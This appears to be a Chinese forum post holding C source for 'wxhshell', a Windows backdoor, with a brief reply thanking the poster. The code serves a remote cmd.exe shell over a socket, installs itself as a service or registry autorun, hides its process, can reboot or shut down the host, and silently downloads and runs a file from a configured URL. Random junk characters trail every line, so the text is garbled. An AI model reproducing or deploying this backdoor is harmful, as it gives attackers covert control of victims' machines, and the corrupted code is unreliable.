  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#AeOqs( q  
  else cvR|qHNX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P| o_/BS  
  } 3d^zLL  
  else { 7(m4,l+(  
Vj7(6'Hg  
    switch(cmd[0]) { =y; tOdj  
  W_NQi  
  // 帮助 )SMS<J  
  case '?': { %t&5o>1C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AR i_m  
    break; fA!uSqR$V  
  } jlV~-}QKb7  
  // 安装 w z-9+VN6  
  case 'i': { 0f).F  
    if(Install()) $= '_$wG 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 36154*q  
    else N#-P}\Q9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;?>xuC$  
    break; +1j@n.)ft  
    } #2thg{5  
  // 卸载 Vx5ioA]{  
  case 'r': { _cqB p7  
    if(Uninstall()) 1us-ootsjP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c7mIwMhl~  
    else n&Q{ [E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Z! #6(G  
    break; 'k=GSb  
    } bq/*99``  
  // 显示 wxhshell 所在路径 =@U~ sl [  
  case 'p': { b{|Ha3;w  
    char svExeFile[MAX_PATH]; x | =  
    strcpy(svExeFile,"\n\r"); NPws^  
      strcat(svExeFile,ExeFile); -hav/7g  
        send(wsh,svExeFile,strlen(svExeFile),0); Y_3 {\g|x  
    break; uFDJRQJ<  
    } %oas IiO  
  // 重启 #?)g?u%g=  
  case 'b': { SomA`y+ERn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F V8K_xj  
    if(Boot(REBOOT)) M),i4a?2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c <8s \2  
    else { xEN""*Q  
    closesocket(wsh); &ah!g!o3  
    ExitThread(0); ;/$=!9^sZ  
    } D2o,K&V  
    break; q -%;~LF  
    } HS"E3s8  
  // 关机 d'~ kf#  
  case 'd': { 0z@ KkU{Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9(>]6|XS  
    if(Boot(SHUTDOWN)) ?mxBMtc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +H5= zf2  
    else { gWm -}Nb4  
    closesocket(wsh); xc.(-g[  
    ExitThread(0); V @A+d[  
    } \2(Uqf#_  
    break; (9r\YNK  
    } "oZ-W?IKE  
  // 获取shell 6-U+<[,x  
  case 's': { \F;V69'  
    CmdShell(wsh); \_pP:e  
    closesocket(wsh); XUT,)dL  
    ExitThread(0); E 5D5  
    break; ( H/JB\~r  
  } w=.w*?>  
  // 退出 PtySPDClj  
  case 'x': { %N#8D<ULd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lP*_dt9  
    CloseIt(wsh); Y4cIYUSc  
    break; USLG G}R  
    } okfGd= &  
  // 离开 }J27Y ;Zp9  
  case 'q': { >U\,(VB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +cQGX5 K  
    closesocket(wsh); }gQ FWT  
    WSACleanup(); \M~M  
    exit(1); Wk$ 7<gkr  
    break; !Z978Aub3&  
        } >e y.7YG  
  } } %_h|N  
  } RIBj9kd  
OfC0lb:c  
  // 提示信息 s&MfC\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U4]>8L  
} 8Fy$'Zx'  
  } 8&g|iG  
T 9Jv  
  return; mM.-MIp  
} M)td%<_  
4.)hCb  
// shell模块句柄 !=j\pu} Z  
int CmdShell(SOCKET sock) dI'cZt~n  
{ qL kna  
STARTUPINFO si; Rg3 Lo ?  
ZeroMemory(&si,sizeof(si)); o<@b]ukl&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  nN!/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kbjt  CI7  
PROCESS_INFORMATION ProcessInfo; CR*R'KX D%  
char cmdline[]="cmd"; EgO=7?(pW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hn"xn79nc  
  return 0; b0 ))->&2  
} ))"J  
s[h& Uv"G  
// 自身启动模式 F(*~[*Ff  
int StartFromService(void)  DJ?kQ  
{ e573UB  
typedef struct ft oz0Vb  
{ 'f0*~Wq|  
  DWORD ExitStatus; ad^7t<a}<  
  DWORD PebBaseAddress; \a]JH\T)Q  
  DWORD AffinityMask; bl. y4  
  DWORD BasePriority; eekp&H$'s  
  ULONG UniqueProcessId; .a._WZF  
  ULONG InheritedFromUniqueProcessId; ^E_`M:~  
}   PROCESS_BASIC_INFORMATION; RUHQ]@d#T  
R*~<?}Rr  
PROCNTQSIP NtQueryInformationProcess; ~Xi_bTAyAW  
K)5'Jp@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KLv`Xg\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _,V 9^  
B WdR~|2  
  HANDLE             hProcess; k2Yh?OH  
  PROCESS_BASIC_INFORMATION pbi; k$`~,LJp  
'51DdT U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Oz c L  
  if(NULL == hInst ) return 0; TCAtb('D  
X;JptF^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '@1oM1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %_xRS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); siveqz6h  
4qq+7B  
  if (!NtQueryInformationProcess) return 0; $]:yc n9l  
2 O\p`,.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jt|e?1:vF  
  if(!hProcess) return 0; AF5.)Y@.  
\Z0-o&;w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eqz#KN`n#  
Mx<V;GPm  
  CloseHandle(hProcess); c>+l3&`  
7FL!([S5i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d~f_wN&r  
if(hProcess==NULL) return 0; J6Uo+0S  
*,g|I8?%VD  
HMODULE hMod; rUjK1A{V  
char procName[255]; g.-{=kZ   
unsigned long cbNeeded; QixEMX4<  
] h3~>8<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,$irJz F  
rlSar$  
  CloseHandle(hProcess); TJS/O~=  
Zt: .+.dV  
if(strstr(procName,"services")) return 1; // 以服务启动 lUWX[,  
le%&r  
  return 0; // 注册表启动 #" {wm  
} N)Fy#6  
wi'CBfr'z  
// 主模块 \T)2J|mW  
int StartWxhshell(LPSTR lpCmdLine) "~~Js~  
{ JWhi*je  
  SOCKET wsl; TR:V7 d  
BOOL val=TRUE; df_hmkyj  
  int port=0; wc7gOrPpm  
  struct sockaddr_in door; 7J@iJW],,  
g?,\bmHE  
  if(wscfg.ws_autoins) Install(); 7b7~D +b  
vR$[#`X  
port=atoi(lpCmdLine); G gmv(!  
HGqT"N Jr  
if(port<=0) port=wscfg.ws_port; 2pR+2p`  
-#Xo^-&  
  WSADATA data; '0QrM,B9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dg[ &5D1Q  
o'Q"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +3]1AJa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H_gY)m  
  door.sin_family = AF_INET; MVdX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D:`b61sWi_  
  door.sin_port = htons(port); (]* Ro 8  
? &ie;t<7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +"1@ 6,M  
closesocket(wsl); l-` M 9#  
return 1; 'Rbv3U  
} jWHv9XtW  
C3EQz r`  
  if(listen(wsl,2) == INVALID_SOCKET) { ktlI(#\%  
closesocket(wsl); N y_d  
return 1; &h1.9AO  
} cMxuG'{=.  
  Wxhshell(wsl); OwhMtYq  
  WSACleanup(); R42+^'af  
*?sdWRbu}l  
return 0; DC?U +  
u#9H  
} tkT:5O6  
zN2CI6  
// 以NT服务方式启动 m x`QBJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ ?ayE  
{ m-V_J`9"  
DWORD   status = 0; HCOv<k  
  DWORD   specificError = 0xfffffff; Nn/me  
Ql`N)!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ph@hk0dgr/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~>8yJLZ.7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZDHm@,d  
  serviceStatus.dwWin32ExitCode     = 0; u.!}s2wT#  
  serviceStatus.dwServiceSpecificExitCode = 0; )anprhc  
  serviceStatus.dwCheckPoint       = 0;  bT(}=j  
  serviceStatus.dwWaitHint       = 0; cJ[ gCS  
dk<) \C"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W=zHD 9  
  if (hServiceStatusHandle==0) return; }<m'Nkz<X  
)1#J4  
status = GetLastError(); -U&k%X   
  if (status!=NO_ERROR) p6)Jzh_/  
{ ]70V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )4h4ql W  
    serviceStatus.dwCheckPoint       = 0; mn5y]:;`  
    serviceStatus.dwWaitHint       = 0; 0\W6X;?  
    serviceStatus.dwWin32ExitCode     = status; A7 U]wW9  
    serviceStatus.dwServiceSpecificExitCode = specificError; g!/O)X3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ife/:v  
    return; 2G=prS`s  
  } y Skz5K+|g  
GYp}V0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rQE:rVKVh  
  serviceStatus.dwCheckPoint       = 0; ngmHiI W  
  serviceStatus.dwWaitHint       = 0; ,3+#?H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UNK}!>HD  
} _.)6~  
2c)Ez?  
// 处理NT服务事件,比如:启动、停止 {=3&_/9s){  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~w Ekbq=  
{ r}?uZ"]=?  
switch(fdwControl) PBkTI2 v  
{ i n $~(+  
case SERVICE_CONTROL_STOP: b!lS=zIN  
  serviceStatus.dwWin32ExitCode = 0; zDakl*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6*W7I- A  
  serviceStatus.dwCheckPoint   = 0; 5~,usA*  
  serviceStatus.dwWaitHint     = 0; ut SW>  
  { =}F}XSvXH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d8N{sT  
  } TwdY6E3`  
  return; Hl"^E*9x  
case SERVICE_CONTROL_PAUSE: )4O>V?B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W}6OMAbsE;  
  break; (^!$m7  
case SERVICE_CONTROL_CONTINUE: N [qNSo|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zE,1zBS<  
  break; 7{W#i<W  
case SERVICE_CONTROL_INTERROGATE: ?WEKRl  
  break; $[S)A0O  
}; uV=ZGr#o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C-2{<$2k  
} =lb5 #  
|3]#SqX  
// 标准应用程序主函数 oy[>`qyz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AHB_[i'>7  
{ z^,P2kqK_  
%fJ~ 3mu  
// 获取操作系统版本 !c2<-3e  
OsIsNt=GetOsVer(); O su 75@3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rz03he  
Y|X!da/  
  // 从命令行安装 ;Q.'u  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xtk3~@  
h/s8".\  
  // 下载执行文件 td!YwN*  
if(wscfg.ws_downexe) { 0bz':M#k &  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u.yjk/jF  
  WinExec(wscfg.ws_filenam,SW_HIDE); ka c-@  
} i;l0)q  
/#Gm`BT  
if(!OsIsNt) { ~pt#'65}:  
// 如果时win9x,隐藏进程并且设置为注册表启动 xoe/I[P]U  
HideProc(); +T8h jOkC  
StartWxhshell(lpCmdLine); |U:VkiKt  
} { POfT m}  
else Y@l>4q")  
  if(StartFromService()) '/U%-/@  
  // 以服务方式启动 VX6M4<8  
  StartServiceCtrlDispatcher(DispatchTable); 'hNRIM1  
else wn Q% 'Eo  
  // 普通方式启动 nN'>>'@>  
  StartWxhshell(lpCmdLine); p3Z[-2I  
K3;~|U-l  
return 0; Xs Ey8V  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五